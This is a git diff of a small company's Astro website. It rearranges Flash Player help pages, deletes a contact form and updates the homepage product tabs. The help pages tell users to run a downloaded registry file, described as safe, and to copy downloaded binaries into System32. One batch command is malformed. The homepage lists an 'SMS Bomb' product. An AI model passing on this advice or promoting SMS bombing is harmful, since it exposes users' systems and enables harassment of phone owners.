           <Fragment slot="modal-content">
-              <p>
-                  If you are having errors that say cannot create, or find <code>flash.ocx</code>, follow these steps.
-              </p>
-              <ol>
-                  <li>
-                      If you haven't installed Flash Player yet, please <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">click here</a>.
-                  </li>
-                  <li>
-                      Find in Windows Explorer: <code>C:\Windows\SysWOW64\Macromed\Flash</code>, and find the file <code>Flash.ocx</code> (may look different depending on which version flash is). If you can't find it, look in instead: <code>C:\Windows\System32\Macromed\Flash</code>, <code>System32</code>, or <code>SysWOW64</code>.
-                  </li>
-                  <li>
-                      If you still can't find <code>Flash.ocx</code> anywhere, you may have to <a href="/media/files/flash32_32_0_0_371.ocx">download it</a>, then put it in <code>C:\Windows\SysWOW64\Macromed\Flash</code>.
-                  </li>
-                  <li>
-                      Copy the file, then rename said copied file to <code>flash.ocx</code>, <b>DO NOT RENAME OR MOVE THE ORIGINAL FILE</b>, and paste it in both: <code>System32</code> and/or <code>SysWOW64</code>. [The <code>flash.ocx</code> file should look like <code>flashversion.ocx</code> (for example <code>flash9.ocx</code>)]
-                  </li>
-              </ol>
-              <p>Try the program, or screensaver, out now to see if it works.</p>
+              <p>These tools can be used for Flash Player.</p>
+              <a href="https://github.com/KuromeSan/FlashPatcher/releases/tag/v1.7" target="_blank" rel="noopener noreferrer">FlashPatcher</a> <br>
+              <a href="/media/files/swftoexe_setup.exe">SWF to EXE Converter</a> <br>
+              <a href="/media/files/exe2swf.exe">EXE to SWF Converter</a>
           </Fragment>
-      </Modal>
-      <Modal title="AMD GPU Fix for Flash Player" id="am">
+        </Modal>
+        <Modal title="How to Run Apps in Screensavers" id="rs">
           <Fragment slot="modal-content">
-              <p>Thanks to <a href="https://www.reddit.com/user/Djracem">Djracem on Reddit</a> for contributing to this page.</p>
-              <p>
-                  AMD adrenalin drivers 22.5.2, and later, are causing Flash to only display a colored background associated with the background of Flash Player. To not roll back pre-22.5.2, disable "Hardware Accel" on Macromed\Flash and on mms.cfg. Run, and make sure Command Prompt is run as administrator, and then copy the Batchfile code below.
-                  <br>
-                  <code>
-                      mkdir "%WINDIR% \SysWoW64\Macromed\Flash" <br>
-                      NUL & echo DisableHardwareAcceleration "WINDIR% \SysWoW64\Macromed\Flash\mms.cfg"
-                  </code>
-              </p>
+              <p><b>Please note that AT Products LLC never created any of these files. Credits to <a href="https://www.reddit.com/user/IoI_xD/">IoI_xD on Reddit</a>.</b> The reason this relates to Flash is you may need this section for a .EXE file that contains Flash content that is supposed to be a screensaver.</p>
+              <p>Firstly, to get it to actually run, you'll first need to download and run <a href="/media/files/ScreensaversPlanet_Flash_Fix.reg">this registry file</a>. You will get a warning upon running it, <a href="https://www.virustotal.com/#/file/84532c37fba28264d9a73cb86cf92a524732e2d0b189cd4cd30c84c1e4db1e84/detection">It is indeed safe</a>.</p>
+              <p>After that you should be able to click on it and it will exactly as shown above, but what about getting it to automatically run as a screensaver? Windows doesn't allow you to run .exe files as savers anymore, so you will have to do a bit of extra set up. Before anything, you'll need a consistent place to save all these files. We recommend <code>C:\Windows\System32</code> because that's where all the screensavers are normally stored.</p>
+              <p>Secondly, you'll need to download <a href="/media/files/Screen Launcher.scr">Screen Launcher</a>. Save it to a place on your computer, then right click it and select "Install". Then right click the <code>.scr</code> file and click install, you shall be taken to the screensaver settings automatically. Optionally to prevent issues, put Screen Launcher into <code>C:\Windows\System32</code>. If you're not on the screen and you're on Windows Vista or above, press WIN + R and type into Run <code>control desk.cpl,,@screensaver</code> to enter Screensaver Settings and select Screen Launcher. Click settings on the screensaver and navigate it to where you saved the screensaver (e.g. <code>C:\Windows\System32\Bobsaver.exe</code>).</p>
+              <p>Now the screensaver works, but there's still a problem: it doesn't exit as it should. You can't move your mouse to exit it like normal. Instead, you have to press "ESC", which doesn't exit the program but minimizes it. Not much can be about the mouse, but what could be done is make it so that the ESC key exits the program completely. Download <a href="https://autohotkey.com/download/">AutoHotKey</a> and install it. Once it's installed, download a <a href="/media/files/bobsav.ahk">.ahk file</a>, then move it to <code>C:\Users\Owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>, or press WIN + R and type into Run <code>shell:startup</code> to go to the folder. What the script will do is bind the ESC key to the ALT + F4 function, but only when the screensaver is running. Just double click the file and it should start running. You can now experience the screensaver as it was meant to be seen.</p>
           </Fragment>
-      </Modal>
-      <Modal title="Browsers that support the Flash Player plug-in" id="br">
+        </Modal>
+        
+        <Modal title="Flash Games for Today's Times" id="fg">
           <Fragment slot="modal-content">
-              <p>
-                  To use <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">a working version of Flash Player</a>, you would have to find browsers that support the Flash Player plug-in. But since the Flash shutdown of 2021, major browsers like Chrome, Edge, Firefox, and more do not support the flash player plug-in. You can see some of the browsers that support the plug-in here.
+              <h3>Browser Games</h3>
+              <p>Browser games are not that popular due to the 2020s having modern and widely used browsers not supporting the original Flash Engine. Either websites went to HTML5 games or replaced their engines with <a href="https://ruffle.rs/">Ruffle</a> or others.</p>
+              <p><a href="https://www.newgrounds.com/">Newgrounds</a>. This is a special one as they allow any users to post content. They replaced their engine with their <a href="https://www.newgrounds.com/flash/player">downloadable one</a>.</p>
+              <p>There's tons of generic flash games, like the following:<br>
+                  <a href="https://www.crazygames.com/t/flash">CrazyGames</a><br>
+                  <a href="https://armorgames.com/category/flash-games">Armor Games</a><br>
+                  <a href="https://www.kongregate.com/flash-games">Kongregate</a><br>
+                  <a href="https://poki.com/en/flash">Poki</a><br>
+                  <a href="https://www.addictinggames.com/">Addicting Games</a><br>
+                  <a href="https://www.numuki.com/games/flash/">NuMuKi</a><br>
               </p>
-              <a href="https://basilisk-browser.org/" target="_blank" rel="noopener noreferrer">Basilisk</a> <br>
-              <a href="https://www.waterfox.net/" target="_blank" rel="noopener noreferrer">Waterfox</a> <br>
-              <a href="https://www.palemoon.org/" target="_blank" rel="noopener noreferrer">Pale Moon</a> <br>
-              <a href="https://www.mypal-browser.org/" target="_blank" rel="noopener noreferrer">Mypal</a> <br>
-              <a href="http://kmeleonbrowser.org/" target="_blank" rel="noopener noreferrer">K-Meleon</a> <br>
-              <a href="https://www.opera.com/" target="_blank" rel="noopener noreferrer">Opera (Older versions 12.00 - 12.17)</a> <br>
+              <p>If you want to support high quality games, you can do so on <a href="https://store.steampowered.com/curator/41097579-Adobe-Flash-Games/">Steam</a>.</p>
+              <h3>App Games</h3>
+              <p>Not many Flash games are on apps, mostly after 2020.</p>
+              <p><a href="https://flashpointarchive.org/">Flashpoint</a>, it contains a ton, mostly flash games.<br>
+                  <a href="https://archive.org/details/softwarelibrary_flash_games">Archive.org</a>, it contains tons of SWF files for the <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">App installation</a>.</p>
+          </Fragment>
+        </Modal>
+        <Modal title="Flash Engines and Alternatives" id="eg">
+          <Fragment slot="modal-content">
+              <h3>Browser Supports</h3>
+              <p><a href="https://ruffle.rs/">Ruffle</a></p>
+              <h3>Apps</h3>
+              <p>These ones are for computers, if you use Android, <a href="#" data-bs-target="#br" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the browsers</a> or <a href="#" data-bs-target="#ao" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the actual flash engine</a>.</p>
+              <p><a href="https://ruffle.rs/">Ruffle</a><br>
+                  <a href="https://flashpointarchive.org/">FlashPoint</a></p>
           </Fragment>
-      </Modal>
-      <Modal title="Flash Player for Android" id="ao">
-        <Fragment slot="modal-content">
-            <p>Adobe AIR and Adobe Flash Player for Android are no longer supported. You can download them using these APK files and make it work in 2022.</p>
-            <a href="/media/files/com.adobe.flashplayer-11.1.115.81-11111508.apk" download>Adobe Flash Player for Android (v11)</a> <br>
-            <a href="/media/files/com.adobe.air.apk" download>Adobe AIR</a>
-        </Fragment>
-      </Modal>
-      <Modal title="Tools for Flash Player" id="tf">
-        <Fragment slot="modal-content">
-            <p>These tools can be used for Flash Player.</p>
-            <a href="https://github.com/KuromeSan/FlashPatcher/releases/tag/v1.7" target="_blank" rel="noopener noreferrer">FlashPatcher</a> <br>
-            <a href="/media/files/swftoexe_setup.exe">SWF to EXE Converter</a> <br>
-            <a href="/media/files/exe2swf.exe">EXE to SWF Converter</a>
-        </Fragment>
-      </Modal>
-      <Modal title="How to Run Apps in Screensavers" id="rs">
-        <Fragment slot="modal-content">
-            <p><b>Please note that AT Products LLC never created any of these files. Credits to <a href="https://www.reddit.com/user/IoI_xD/">IoI_xD on Reddit</a>.</b> The reason this relates to Flash is you may need this section for a .EXE file that contains Flash content that is supposed to be a screensaver.</p>
-            <p>Firstly, to get it to actually run, you'll first need to download and run <a href="/media/files/ScreensaversPlanet_Flash_Fix.reg">this registry file</a>. You will get a warning upon running it, <a href="https://www.virustotal.com/#/file/84532c37fba28264d9a73cb86cf92a524732e2d0b189cd4cd30c84c1e4db1e84/detection">It is indeed safe</a>.</p>
-            <p>After that you should be able to click on it and it will exactly as shown above, but what about getting it to automatically run as a screensaver? Windows doesn't allow you to run .exe files as savers anymore, so you will have to do a bit of extra set up. Before anything, you'll need a consistent place to save all these files. We recommend <code>C:\Windows\System32</code> because that's where all the screensavers are normally stored.</p>
-            <p>Secondly, you'll need to download <a href="/media/files/Screen Launcher.scr">Screen Launcher</a>. Save it to a place on your computer, then right click it and select "Install". Then right click the <code>.scr</code> file and click install, you shall be taken to the screensaver settings automatically. Optionally to prevent issues, put Screen Launcher into <code>C:\Windows\System32</code>. If you're not on the screen and you're on Windows Vista or above, press WIN + R and type into Run <code>control desk.cpl,,@screensaver</code> to enter Screensaver Settings and select Screen Launcher. Click settings on the screensaver and navigate it to where you saved the screensaver (e.g. <code>C:\Windows\System32\Bobsaver.exe</code>).</p>
-            <p>Now the screensaver works, but there's still a problem: it doesn't exit as it should. You can't move your mouse to exit it like normal. Instead, you have to press "ESC", which doesn't exit the program but minimizes it. Not much can be about the mouse, but what could be done is make it so that the ESC key exits the program completely. Download <a href="https://autohotkey.com/download/">AutoHotKey</a> and install it. Once it's installed, download a <a href="/media/files/bobsav.ahk">.ahk file</a>, then move it to <code>C:\Users\Owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>, or press WIN + R and type into Run <code>shell:startup</code> to go to the folder. What the script will do is bind the ESC key to the ALT + F4 function, but only when the screensaver is running. Just double click the file and it should start running. You can now experience the screensaver as it was meant to be seen.</p>
-        </Fragment>
-      </Modal>
-      
-      <Modal title="Flash Games for Today's Times" id="fg">
-        <Fragment slot="modal-content">
-            <h3>Browser Games</h3>
-            <p>Browser games are not that popular due to the 2020s having modern and widely used browsers not supporting the original Flash Engine. Either websites went to HTML5 games or replaced their engines with <a href="https://ruffle.rs/">Ruffle</a> or others.</p>
-            <p><a href="https://www.newgrounds.com/">Newgrounds</a>. This is a special one as they allow any users to post content. They replaced their engine with their <a href="https://www.newgrounds.com/flash/player">downloadable one</a>.</p>
-            <p>There's tons of generic flash games, like the following:<br>
-                <a href="https://www.crazygames.com/t/flash">CrazyGames</a><br>
-                <a href="https://armorgames.com/category/flash-games">Armor Games</a><br>
-                <a href="https://www.kongregate.com/flash-games">Kongregate</a><br>
-                <a href="https://poki.com/en/flash">Poki</a><br>
-                <a href="https://www.addictinggames.com/">Addicting Games</a><br>
-                <a href="https://www.numuki.com/games/flash/">NuMuKi</a><br>
-            </p>
-            <p>If you want to support high quality games, you can do so on <a href="https://store.steampowered.com/curator/41097579-Adobe-Flash-Games/">Steam</a>.</p>
-            <h3>App Games</h3>
-            <p>Not many Flash games are on apps, mostly after 2020.</p>
-            <p><a href="https://flashpointarchive.org/">Flashpoint</a>, it contains a ton, mostly flash games.<br>
-                <a href="https://archive.org/details/softwarelibrary_flash_games">Archive.org</a>, it contains tons of SWF files for the <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">App installation</a>.</p>
-        </Fragment>
-      </Modal>
-      <Modal title="Flash Engines and Alternatives" id="eg">
-        <Fragment slot="modal-content">
-            <h3>Browser Supports</h3>
-            <p><a href="https://ruffle.rs/">Ruffle</a></p>
-            <h3>Apps</h3>
-            <p>These ones are for computers, if you use Android, <a href="#" data-bs-target="#br" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the browsers</a> or <a href="#" data-bs-target="#ao" data-bs-toggle="modal" data-bs-dismiss="modal">click here for the actual flash engine</a>.</p>
-            <p><a href="https://ruffle.rs/">Ruffle</a><br>
-                <a href="https://flashpointarchive.org/">FlashPoint</a></p>
-        </Fragment>
-      </Modal>
-    </div>
-  </main>
-  <Footer />
+        </Modal>
+      </div>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
-<Scripts modal="true"/>
+<Scripts modal="true" scrollspy="true" />
diff --git a/src/pages/form/index.astro b/src/pages/form/index.astro
deleted file mode 100644
index dad61688e..000000000
--- a/src/pages/form/index.astro
+++ /dev/null
@@ -1,47 +0,0 @@
----
-import Head from '../../layouts/Head.astro';
-import Scripts from '../../layouts/Scripts.astro';
-import Navbar    from '../../components/Navbar.astro';
-import Footer    from '../../components/Footer.astro';
-import BackToTop from '../../components/BackToTop.astro';
----
-
-<Head title="Contact Form" description="If you don't want to email us on your email client, use this instead. We'll reach out to your email provided." author="Alex Toucan"/>
-<div id="page">
-  <Navbar />
-  <main id="form" class="container">
-    <h1 class="title">Contact Form</h1>
-    <p>You may either use this or <a href="mailto:support@atproducts.xyz">email us manually</a>. If you don't want to email us on your email client, use this instead. We'll reach out to your email provided.</p>
-    <form
-    name="Contact Form" 
-    action="/form/success"
-    method="POST"
-    data-netlify="true"
-    enctype="multipart/form-data"
-    >
-      <div class="d-sm-flex gap-2">
-        <div class="col">
-          <div class="mb-3">
-            <label for="nameInput" class="form-label fw-bold">Name</label>
-            <input name="name" class="form-control" id="nameInput" placeholder="John Doe" required>
-        </div>
-        </div>
-        <div class="col">
-          <div class="mb-3">
-            <label for="emailInput" class="form-label fw-bold">Email address</label>
-            <input name="Email" type="email" class="form-control" id="emailInput" placeholder="name@example.com" required>
-          </div>
-        </div>
-      </div>
-      <div class="mb-2">
-        <label for="textareaInput" class="form-label fw-bold">Information to Send</label>
-        <textarea name="Text" class="form-control" id="textareaInput" rows="3" required></textarea>
-      </div>
-      <small>If you wish to upload files, you must <a href="mailto:support@atproducts.xyz">email us manually</a> due to Netlify complications. Please allow 72 hours for a response back to your email provided. If your response is considered spam, it may not be responded to.</small>
-      <button type="submit" class="mt-2 btn btn-lg btn-primary col-12">Send</button>
-    </form>
-  </main>
-<Footer />
-<BackToTop />
-</div>
-<Scripts />
diff --git a/src/pages/form/success.astro b/src/pages/form/success.astro
deleted file mode 100644
index 9886e15be..000000000
--- a/src/pages/form/success.astro
+++ /dev/null
@@ -1,23 +0,0 @@
----
-import Head from '../../layouts/Head.astro';
-import Scripts from '../../layouts/Scripts.astro';
-import Navbar    from '../../components/Navbar.astro';
-import Footer    from '../../components/Footer.astro';
-import BackToTop from '../../components/BackToTop.astro';
----
-
-<Head title="Success - Contact Form" description="We got your submission successfully!" author="Alex Toucan"/>
-      <div id="page">
-<Navbar />
-    <main id="success" class="container text-center my-4">
-      <i class="bi bi-check-lg fs-16 text-body-secondary"></i>
-      <p class="mt-3 text-body-secondary fs-2">Thanks for your submission, we'll reach out to you soon.</p>
-      <a class="icon-link icon-link-hover fs-5" href="/">Return to the Index page
-      <i class="bi bi-arrow-right h-100"></i></a>
-<hr class="mx-2 mt-5">
-      <p class="figure-caption">Reloading this page may resubmit what you previously submitted.</p>
-    </main>
-<Footer />
-<BackToTop />
-</div>
-<Scripts />
diff --git a/src/pages/index.astro b/src/pages/index.astro
index 0b38b50cc..6986577b0 100644
--- a/src/pages/index.astro
+++ b/src/pages/index.astro
@@ -12,315 +12,312 @@ import AccordionItem from '../components/accordion/AccordionItem.astro';
 <Head title="AT Products LLC" description="AT Products LLC is an Informational Technology Company, with computer resources" keywords="AT Products, Ethical Hacking Society, The Script Community, AT Products LLC, ATproducts" author="Alex Toucan" 
 additionalContent="<meta name='google-site-verification' content='8CRfwExNu3kB77SccZhzqhwnETsU2dnm0CACBJSRJ5M'>"
 bulletin={[
-  { bulletinImage: "2192-1-082124.webp" },
-  { bulletinImage: "2192-2-082124.webp" },
-  { bulletinImage: "2192-3-082124.webp" },
+  { bulletinImage: "2201-102324-1.webp" },
+  { bulletinImage: "2201-102324-2.webp" },
 ]} />
 <div id="page">
   <Navbar />
-  <Hero
-  id="main"
-  title="AT Products LLC"
-  description="The company that provides <strong>web solutions</strong> to your <strong>web problems</strong>!"
-  marginBottom="false"
-  buttons={[
-    { href: "/paid", text: "Paid Services", type: "primary" },
-  ]},
-  dropdownItems={[
-    { navigationDesc: "General Information", navigationLink: "#general-info" },
-    { navigationDesc: "Products", navigationLink: "#products" },
-    { navigationDesc: "Allies", navigationLink: "#allies" },
-    { navigationDesc: "Credits", navigationLink: "#credits" },
-    { navigationDesc: "History", navigationLink: "#history" },
-    { navigationDesc: "What's New?", navigationLink: "#what-new" },
-  ]},
-  icons={[
-    { icon: "github", desc: "GitHub", href: "https://github.com/Alex-Toucan/atproducts.xyz" },
-    { icon: "twitter-x", desc: "Twitter / X", href: "https://twitter.com/ATProductsLLC" },
-    { icon: "youtube", desc: "YouTube", href: "https://youtube.com/c/AlexToucanAT" },
-    { icon: "envelope-fill", desc: "Contact Form / Email", href: "/form/" },
-    { icon: "cloud-sun-fill", desc: "Weather", href: "https://twitter.com/ATPWeather" },
-  ]},
-  />
-  <div id="carousel-A" class="carousel carousel-main carousel-fade slide shadow px-0 container-xsm mt-xmd-2 mb-3 pointer-event" data-bs-ride="carousel">
-    <div class="pt-xmd-2 px-xmd-2">
-      <div class="carousel-inner">
-        <div class="carousel-item active" data-bs-interval="10000">
-          <img src="/media/slideshow/2192-1-082124.webp" class="d-block w-100" alt="2.19.2 Release Slide 1">
-        </div>
-        <div class="carousel-item" data-bs-interval="10000">
-          <img src="/media/slideshow/2192-2-082124.webp" class="d-block w-100" alt="2.19.2 Release Slide 2">
+  <div id="main-content">
+    <Hero
+      id="main"
+      title="AT Products LLC"
+      description="The company that provides <strong>web solutions</strong> to your <strong>web problems</strong>!"
+      marginBottom="false"
+      buttons={[
+        { href: "/paid", text: "Paid Services", type: "primary" },
+      ]},
+      dropdownItems={[
+        { navigationDesc: "General Information", navigationLink: "#general-info" },
+        { navigationDesc: "Products", navigationLink: "#products" },
+        { navigationDesc: "Allies", navigationLink: "#allies" },
+        { navigationDesc: "Credits", navigationLink: "#credits" },
+        { navigationDesc: "History", navigationLink: "#history" },
+        { navigationDesc: "What's New?", navigationLink: "#what-new" },
+      ]},
+      icons={[
+        { icon: "github", desc: "GitHub", href: "https://github.com/Alex-Toucan/atproducts.xyz" },
+        { icon: "twitter-x", desc: "Twitter / X", href: "https://x.com/ATProductsLLC" },
+        { icon: "youtube", desc: "YouTube", href: "https://youtube.com/c/AlexToucanAT" },
+        { icon: "envelope-fill", desc: "Contact Form / Email", href: "/contact/" },
+        { icon: "cloud-sun-fill", desc: "Weather", href: "https://x.com/ATPWeather" },
+      ]},
+    />
+    <div id="carousel-A" class="carousel carousel-main carousel-fade slide shadow px-0 container-xsm mt-xmd-2 mb-3 pointer-event" data-bs-ride="carousel">
+      <div class="pt-xmd-2 px-xmd-2">
+        <div class="carousel-inner">
+          <div class="carousel-item active" data-bs-interval="10000">
+            <img src="/media/slideshow/2201-102324-1.webp" class="d-block w-100" alt="2.20.1 Release Slide 1">
+          </div>
+          <div class="carousel-item" data-bs-interval="10000">
+            <img src="/media/slideshow/2201-102324-2.webp" class="d-block w-100" alt="2.20.1 Release Slide 2">
+          </div>
         </div>
-        <div class="carousel-item" data-bs-interval="10000">
-          <img src="/media/slideshow/2192-3-082124.webp" class="d-block w-100" alt="2.19.2 Release Slide 3">
+        <div class="mediarow py-2" aria-label="Carousel-A Controls">
+          <button class="carousel-control-prev col" type="button" data-bs-target="#carousel-A" data-bs-slide="prev">
+            <span class="carousel-control-prev-icon" aria-hidden="true"></span>
+            <span class="visually-hidden">Previous</span>
+          </button>
+          <div class="carousel-indicators col-8 col-xs-6 col-sm-5 text-center">
+            <button aria-label="Slide 1" class="active slidebtn" data-bs-slide-to="0" data-bs-target="#carousel-A" type="button" aria-current="true"></button>
+            <button type="button" data-bs-target="#carousel-A" data-bs-slide-to="1" aria-label="Slide 2" class="slidebtn"></button>
+          </div>
+          <button class="carousel-control-next col" type="button" data-bs-target="#carousel-A" data-bs-slide="next">
+            <span class="carousel-control-next-icon" aria-hidden="true"></span>
+            <span class="visually-hidden">Next</span>
+          </button>
         </div>
       </div>
-      <div class="mediarow py-2" aria-label="Carousel-A Controls">
-        <button class="carousel-control-prev col" type="button" data-bs-target="#carousel-A" data-bs-slide="prev">
-          <span class="carousel-control-prev-icon" aria-hidden="true"></span>
-          <span class="visually-hidden">Previous</span>
-        </button>
-        <div class="carousel-indicators col-4 text-center">
-          <button aria-label="Slide 1" class="active slidebtn" data-bs-slide-to="0" data-bs-target="#carousel-A" type="button" aria-current="true"></button>
-          <button type="button" data-bs-target="#carousel-A" data-bs-slide-to="1" aria-label="Slide 2" class="slidebtn"></button>
-          <button type="button" data-bs-target="#carousel-A" data-bs-slide-to="2" aria-label="Slide 3" class="slidebtn"></button>
+      <div class="d-flex">
+        <div class="btn-group w-100 p-1" role="group" aria-label="Carousel-A Play/Pause">
+          <input type="radio" class="btn-check btn-check-dark col playButton" name="btnradio" id="playButton" aria-label="playButton" checked="">
+          <label class="btn" for="playButton" id="playButtonLabel"><i class="bi bi-play-fill fs-4 link-carousel"></i></label>
+          <input type="radio" class="btn-check btn-check-dark col pauseButton" name="btnradio" id="pauseButton" aria-label="pauseButton">
+          <label class="btn" for="pauseButton" id="pauseButtonLabel"><i class="bi bi-pause-fill fs-4 link-carousel"></i></label>
+        </div>
+        <div class="col px-2 my-auto">
+          <a href="/media/pdf/2.20.1 Patch Notes.pdf" aria-label="Carousel PDF Download" class="fs-2 link-carousel" target="_blank" rel="noopener noreferrer"><i class="bi bi-filetype-pdf"></i></a>
         </div>
-        <button class="carousel-control-next col" type="button" data-bs-target="#carousel-A" data-bs-slide="next">
-          <span class="carousel-control-next-icon" aria-hidden="true"></span>
-          <span class="visually-hidden">Next</span>
-        </button>
       </div>
     </div>
-    <div class="d-flex">
-      <div class="btn-group w-100 p-1" role="group" aria-label="Carousel-A Play/Pause">
-        <input type="radio" class="btn-check btn-check-dark col playButton" name="btnradio" id="playButton" aria-label="playButton" checked="">
-        <label class="btn" for="playButton" id="playButtonLabel"><i class="bi bi-play-fill fs-4 link-carousel"></i></label>
-        <input type="radio" class="btn-check btn-check-dark col pauseButton" name="btnradio" id="pauseButton" aria-label="pauseButton">
-        <label class="btn" for="pauseButton" id="pauseButtonLabel"><i class="bi bi-pause-fill fs-4 link-carousel"></i></label>
-      </div>
-      <div class="col px-2 my-auto">
-        <a href="/media/pdf/2.19.2 Patch Notes.pdf" aria-label="Carousel PDF Download" class="fs-2 link-carousel" target="_blank" rel="noopener noreferrer"><i class="bi bi-filetype-pdf"></i></a>
+    <main id="index" class="container">
+      <hr class="hero-drappear">
+      <div id="general-info">
+        <h2>General Information</h2>
+        <p> AT Products LLC (officially recognized pronunciation: "A.T Products LLC"), otherwise known as ATP, is an informative technology company that is based in the United States, that contains resources for cybersecurity and malware. Our products are for the public to use anytime. </p>
+        <p> Our current products are Flash Documentation, MDickie Projects, and SMS Bomb. </p>
+        <p> The "AT" in AT Products does stand for Alex Toucan. </p>
+        <p> The <a href="/backup/archive">Public Archive</a> contains other projects and pages that we've completed before. </p>
       </div>
-    </div>
-  </div>
-  <main id="index" class="container">
-    <hr class="hero-drappear">
-    <div id="general-info">
-      <h2>General Information</h2>
-      <p> AT Products LLC, otherwise known as AT Products (officially recognized pronunciation: "A.T Products") is an informative technology company that is based in the United States, that contains resources for cybersecurity and malware. Our products are for the public to use anytime. </p>
-      <p> Our current products are Flash Documentation, MDickie Projects, and SMS Bomb. </p>
-      <p> The "AT" in AT Products does stand for Alex Toucan. </p>
-      <p> The <a href="/backup/archive">Public Archive</a> contains other projects and pages that we've completed before. </p>
-    </div>
-    <hr>
-    <div id="products">
-      <h2>Products</h2>
-      <div class="products-border rounded-2 p-1">
-        <div class="d-md-flex">
-          <div class="nav flex-column nav-pills col-md-4 me-md-1" id="products-tab" role="tablist" aria-orientation="vertical">
-            <button class="nav-link active" id="products-1-tab" data-bs-toggle="pill" data-bs-target="#products-1" type="button" role="tab" aria-controls="products-1" aria-selected="true">Paid Services</button>
-            <button class="nav-link" id="products-2-tab" data-bs-toggle="pill" data-bs-target="#products-2" type="button" role="tab" aria-controls="products-2" aria-selected="false" tabindex="-1">Flash Documentation</button>
-            <button class="nav-link" id="products-3-tab" data-bs-toggle="pill" data-bs-target="#products-3" type="button" role="tab" aria-controls="products-3" aria-selected="false" tabindex="-1">MDickie Projects</button>
-            <button class="nav-link" id="products-4-tab" data-bs-toggle="pill" data-bs-target="#products-4" type="button" role="tab" aria-controls="products-4" aria-selected="false" tabindex="-1">SMS Bomb</button>
-            <button class="nav-link" id="products-5-tab" data-bs-toggle="pill" data-bs-target="#products-5" type="button" role="tab" aria-controls="products-5" aria-selected="false" tabindex="-1">Pynx's Projects</button>
-            <button class="nav-link" id="products-6-tab" data-bs-toggle="pill" data-bs-target="#products-6" type="button" role="tab" aria-controls="products-6" aria-selected="false" tabindex="-1">Public Archive</button>
-          </div>
-          <div class="vr disbr me-1"></div>
-          <hr class="opacity-25 my-1 d-md-none">
-          <div class="tab-content col-md text-center products-tabContent" id="products-tabContent">
-            <div class="products-1 tab-pane fade active show" id="products-1" role="tabpanel" aria-labelledby="products-1-tab" tabindex="0">
-              <h2 class="card-title mb-2">Paid Services</h2>
-              <p>View our Paid Services!</p>
-              <p>Current primary services are Website Design and Website Hosting.</p>
-              <div class="tab-link">
-                <a href="/paid" class="btn btn-primary w-100">Visit</a>
-              </div>
+      <hr>
+      <div id="products">
+        <h2>Products</h2>
+        <div class="products-border rounded-2 p-1">
+          <div class="d-md-flex">
+            <div class="nav flex-column nav-pills col-md-4 me-md-1" id="products-tab" role="tablist" aria-orientation="vertical">
+              <button class="nav-link active" id="products-1-tab" data-bs-toggle="pill" data-bs-target="#products-1" type="button" role="tab" aria-controls="products-1" aria-selected="true">Paid Services</button>
+              <button class="nav-link" id="products-2-tab" data-bs-toggle="pill" data-bs-target="#products-2" type="button" role="tab" aria-controls="products-2" aria-selected="false" tabindex="-1">Flash Documentation</button>
+              <button class="nav-link" id="products-3-tab" data-bs-toggle="pill" data-bs-target="#products-3" type="button" role="tab" aria-controls="products-3" aria-selected="false" tabindex="-1">MDickie Projects</button>
+              <button class="nav-link" id="products-4-tab" data-bs-toggle="pill" data-bs-target="#products-4" type="button" role="tab" aria-controls="products-4" aria-selected="false" tabindex="-1">SMS Bomb</button>
+              <button class="nav-link" id="products-5-tab" data-bs-toggle="pill" data-bs-target="#products-5" type="button" role="tab" aria-controls="products-5" aria-selected="false" tabindex="-1">Pynx's Projects</button>
+              <button class="nav-link" id="products-6-tab" data-bs-toggle="pill" data-bs-target="#products-6" type="button" role="tab" aria-controls="products-6" aria-selected="false" tabindex="-1">AT's ROM Games</button>
+              <button class="nav-link" id="products-7-tab" data-bs-toggle="pill" data-bs-target="#products-7" type="button" role="tab" aria-controls="products-7" aria-selected="false" tabindex="-1">Public Archive</button>
             </div>
-            <div class="products-2 tab-pane fade" id="products-2" role="tabpanel" aria-labelledby="products-2-tab" tabindex="0">
-              <div class="bg-white rounded-2 mb-2"><img class=" rounded-2" src="/media/images/flashdoc.webp" alt="Flash Documentation"></div>
-              <h2 class="card-title">Flash Documentation</h2>
-              <p class="mb-0">Here are some things about Adobe Flash!</p>
-              <div class="tab-link">
-                <a href="/flash" class="btn btn-primary w-100 mb-2">Visit</a><a href="/backup/flash" class="btn btn-secondary w-100">Visit the all laid out version</a>
+            <div class="vr disbr me-1"></div>
+            <hr class="opacity-25 my-1 d-md-none">
+            <div class="tab-content col-md text-center products-tabContent" id="products-tabContent">
+              <div class="products-1 tab-pane fade active show" id="products-1" role="tabpanel" aria-labelledby="products-1-tab" tabindex="0">
+                <h2>Paid Services</h2>
+                <p>View our Paid Services!</p>
+                <p>Current primary services are Website Design and Website Hosting.</p>
+                <div class="tab-link">
+                  <a href="/paid" class="btn btn-primary w-100">Visit</a>
+                </div>
               </div>
-            </div>
-            <div class="products-3 tab-pane fade" id="products-3" role="tabpanel" aria-labelledby="products-3-tab" tabindex="0">
-              <div class="bg-white rounded-2 mb-2"><img class="py-1 rounded-2" src="/media/images/mdickiepro.webp" alt="MDickie Projects"></div>
-              <h2 class="card-title">MDickie Projects</h2>
-              <p class="mb-0">This is a fanmade site about what MDickie has developed since the 1990s!</p>
-              <div class="tab-link">
-                <a href="/mdickie" class="btn btn-primary w-100">Visit</a>
+              <div class="products-2 tab-pane fade" id="products-2" role="tabpanel" aria-labelledby="products-2-tab" tabindex="0">
+                <div class="bg-white rounded-2 mb-2"><img class=" rounded-2" src="/media/images/flashdoc.webp" alt="Flash Documentation"></div>
+                <h2>Flash Documentation</h2>
+                <p class="mb-0">Here are some things about Adobe Flash!</p>
+                <div class="tab-link">
+                  <a href="/flash" class="btn btn-primary w-100 mb-2">Visit</a><a href="/backup/flash" class="btn btn-secondary w-100">Visit the all laid out version</a>
+                </div>
               </div>
-            </div>
-            <div class="products-4 tab-pane fade" id="products-4" role="tabpanel" aria-labelledby="products-4-tab" tabindex="0">
-              <div class="bg-white rounded-2 mb-2"><img class="py-1 rounded-2" src="/media/images/ya.png" alt="SMS Bomb"></div>
